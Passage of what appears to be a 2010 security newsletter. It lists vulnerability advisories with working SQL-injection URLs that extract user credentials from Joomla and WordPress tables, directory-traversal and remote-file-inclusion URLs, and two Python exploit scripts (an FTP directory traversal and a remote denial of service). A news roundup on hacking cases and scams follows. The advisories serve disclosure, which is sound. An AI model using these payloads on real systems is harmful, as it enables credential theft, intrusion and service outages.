4. The ‘com_hdvideoshare’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Example URL: http://www.sample.com/index.php?option=com_hdvideoshare&amp;view=player&amp;id=-45+UNION SELECT concat(username,0x3a,password,0x3a,email),2,3,4+from+jos_users
5. The ‘com_videos’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Example URL:  http://www.sample.com/index.php?option=com_videos&amp;act=view&amp;Itemid=27&amp;id=-1084+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+jos_users
6. httpdx is subject to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting this issue allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks. httpdx 1.5 is vulnerable; other versions may also be affected. Exploit Code is available:
   # Exploit Title: httpdx – ultralight http/ftp server directory Traversal
   # Date: 14/2/2010
   # Author: FB1H2S
   # Software Link: http://sourceforge.net/projects/httpdx/
   # Version: v1.5
   # Tested on: WIN XP2
   # CVE : [if exists]
   # Code : Attached

   #!/usr/bin/python
   # Greetz to all Darkc0de, Andhra Hackers and ICW Memebers
   #Thanks : Mr bond,Wipu,GOdwinAustin,The_empty,beenu,hg_H@x0r,r45c4l,it_security,eberly
   #Shoutz : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin
   import socket
   import sys
   hostname=’localhost’
   username=’admin’
   passwd=’password’
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
   sock.connect((hostname, 21))
   except:
   print (“Connection error!”)
   sys.exit(1)
   r=sock.recv(1024)
   sock.send(“user %s\r\n” %username)
   r=sock.recv(1024)
   sock.send(“pass %s\r\n” %passwd)
   r=sock.recv(1024)
   # The FTP root is example.com we could move down the root directory
   sock.send(“MKD ../fb1h2s\r\n”)
   sock.close()
   sys.exit(0);

7. The Copperleaf Photolog plugin for WordPress is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Example URL: http://www.sample.com/wp-content/plugins/cpl/cplphoto.php?postid=11+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users–&amp;id=11
8. The AllVideos component for Joomla! is subject to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. Example URL: http://www.sample.com/plugins/content/jw_allvideos/includes/download.php?file=./../…/file.php
9. CodeIgniter v1.0 is subject to a Remote File Inclusion Vulnerability.  Exploit URLs: /system/database/DB_active_rec.php?BASEPATH=[Shell.txt?]
   /system/database/DB_driver.php?BASEPATH=[Shell.txt?]
10. Apple iPhone and iPod are subject to a DBlite Remote DOS exploit.  Proof of concept code is available:
    #!/usr/bin/python
    #
    # Apple Iphone/Ipod – My DBLite Edition #Remote 0day DOS exploit
    # Found by: Jason Bowes – admin @ blue-#dogz.com
    # App Homepage: www.xenugo.co
    # Price: Free
    # Download: From the app store (use your #itunes account)
    # Tested on: Iphone 3GS – firmware 3.1.2
    # What’s up to slicc1
    # Advisory: ()

    print “[+] Apple Iphone/Ipod – My DB lite edition Remote DOS exploit”

    import ftplib

    from ftplib import FTP

    import sys

    import socket

    def Usage():

    print (“Usage:  ./mydblite.py <serv_ip>\n”)

    print (“Example:./mydblite.py 192.168.1.3\n”)

    if len(sys.argv) <> 2:

    Usage()

    sys.exit(1)

    else:

    hostname = sys.argv[1]

    delete = “$A$A$A” * 10000000

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

    sock.connect((hostname, 29161))

    print “[+] Connecting to the target..”

    except:

    print (“[-] Connection error!”)

    sys.exit(1)

    r=sock.recv(1024)

    print “[+] Sending payload..boom..boom..pow”

    sock.send(“DELE %s\r\n” %delete)

    print “[+] Server should now be DoS’d!”

    sys.exit(0);

News Items of Interest:

News item 1: http://www.wired.com/threatlevel/2010/02/max-vision-sentencing/

Max Ray Vision, 37,was sentenced Friday to 13 years in federal prison for stealing nearly two million credit card numbers from banks, businesses and other hackers — in what is the longest hacking sentence in U.S. history.  He was also ordered to pay $27.5 million in restitution, and to serve five years under court supervision following his release, during which time he’ll be allowed to use computers only for legitimate employment or education.

Vision, who changed his name from Max Butler shortly before his arrest, ran an online forum for thousands of identity thieves called CardersMarket, where he sold credit card magstripe data to the underground for about $20 a card. He was caught with 1.8 million stolen credit card numbers belonging to a thousand different banks, who tallied the fraudulent charges on the cards at $86.4 million.

He faced up to life in prison under federal sentencing guidelines. But prosecutor Luke Dembosky on Friday recommended the significantly lower 13-year sentence, noting that Vision has provided substantial assistance to the government during his time in pre-trial custody.
Vision’s 13-year term is the longest U.S. hacking sentence, though that record likely will be eclipsed next month when confessed TJX hacker Albert Gonzalez faces the first of two sentencing hearings. One of Gonzalez’s plea agreements contemplates a term of 17 to 25 years in prison.

News item 2: http://www.reuters.com/article/idUSTRE61E3R420100215?type=sportsNews
A French judge has issued an arrest warrant for American cyclist on Monday, according to Reuters.  French judge Thomas Cassuto issued the international arrest warrant for Floyd Landis after an anti-doping computer laboratory had its computer system hacked.

It seems that (Landis) hacked into the lab computer systems to try to prove the laboratory was wrong.  In his court case, the one-time 2006 Tour de France winner, showed many documents he got allegedly obtained by hacking to numerous sporting instances.   The judge traced a network of hackers back to the ringleader.

News item 3: http://isc.sans.org/diary.html?storyid=8239
SANS is reporting that they’ve received reports about the (sadly expected by now) search engine poisoning for various Olympics related terms. For example the name of the killed Georgian luge athlete is used to redirect unsuspecting users to fake anti virus and other malicious content. The redirect is browser dependent. Firefox is usually redirected to “qooglesearch.com” (note the ‘q’ as first letter instead of a ‘g’). It is probably advisable to watch out for DNS requests for this domain to spot possible infections. Internet explorer is redirected to a wide range of different domains which apparently are picked at random.

http://www.youtube.com/results?search_query=Gillian+Cooke&page=&utm_source=opensearch

News item 4: http://economy.kansascity.com/?q=node/6089
Internet scammers spread false rumors of actor Bill Cosby’s death on message boards to try to trick users into parting with their cash and personal details, according to Sophos Plc, a U.K. provider of security software.

After messages posted to blogs and on Twitter said he had died, the actor made a statement on his Web site assuring his fans he was still alive. Scammers had created Web sites that advertised the news to lure Web users to download fake antivirus software.

Fake Cosby reports are not the first such celebrity scare story to be used to lure Web users into parting with credit card details or accepting viruses. Earlier this year, Internet postings said Johnny Depp had died in a car accident in France and in 2004 California Governor Arnold Schwarzenegger was reported dead by scammers.
News item 5:http://blog.brickhousesecurity.com/2010/02/15/top-5-gps-knew/
So we all know the obvious reasons why GPS devices have become necessary in the average person’s life. Used to track packages, family members, and business assets, GPS trackers have become more and more commonplace. However, there are several uses for GPS tracking that you may never have heard about before.

1) Tracking Wildlife

If you think it’s hard to find where your house cat is napping on an arbitrary day, consider the difficulties associated with tracking wildlife. Animals can be monitored using GPS trackers for reasons that range from information gathering to human interest. For example, scientists recently used GPS trackers to observe the habits of Arctic wolves.

2) Bus Tracking/Schedules

As any commuter knows, the existence of a schedule does not correlate with the bus being on time all the time. In selected areas, commuters are now lucky to benefit from the improved convenience of mass transit thanks to GPS tracking. If the GPS tracking works for these communities, maybe in the future the systems will be expanded to include other areas and more commuters. Pike County recently began using Sprint’s GPS system to track school buses. Parents’ concerns over the safety of their children is now relieved, as the GPS system can tell in real-time the location of the bus as well as the mileage and speed.

3) Tracking Alzheimer’s Patients

Anyone who has a loved one afflicted with Alzheimer’s Disease understands the worry and ramifications associated with wandering. Alzheimer’s can cause someone to wander and possibly forget their home address. Having patients wear GPS devices can help ensure their safety because loved ones or hospital faculty can log online and see exactly where the person is. To tap into this technology Indiana state legislature passed the Silver Alert Program over the summer of 2009. The Silver Alert program, similar to the Amber Alert but for the elderly with Alzheimer’s, is still in a testing phase.

4) Boat Races

Why would anyone think to put a GPS device in boats during a race? The participants know where they are headed (well, one would hope), so the GPS wouldn’t make sense in its primary purpose. In fact, Michigan.org cleverly thought to implant GPS devices so that they could broadcast the locations of over 200 boats in real-time.

5) Sports

Even the world of sports can benefit from GPS tracking. From protecting valuable possessions and important people to monitoring if the last hit an athlete took was one too many, the sports world is being transformed with the help of GPS systems. You can watch cycling events with GPS tracking so that you can see where your favorite (non-hacker) cyclist is located within the course or peloton.

News item 6:

A recent survey found the Top 10 office annoyances were:

• Grumpy or moody colleagues (37 percent)
• Slow computers (36)
• Small talk/gossip in the office (19)
• The use of office jargon or management-speak (18)
• People speaking loudly on the phone (18)
• Too much health and safety in the work place (16)
• Poor toilet etiquette (16)
• People not turning up for meetings on time or at all (16)
• People not tidying up after themselves in the kitchen (15)
• Too cold/cold air conditioning (15)

The most annoying jargon:

• Thinking outside the box (21 percent)
• Let’s touch base (20)
• Blue sky thinking (19)
• Blamestorming (16) (sitting down and working out whose fault something is)
• Drill down to a more granular level (15) (Look into something in more detail)
• Let’s not throw pies in the dark (15) (we need a plan rather than a haphazard approach)
• I’ve got that on my radar (13)
• Push the envelope (12)
• Bring your A-game (11) (Be ready to do something to best of ability)
• Get all your ducks in a row (11)

No podcast today due to Holiday.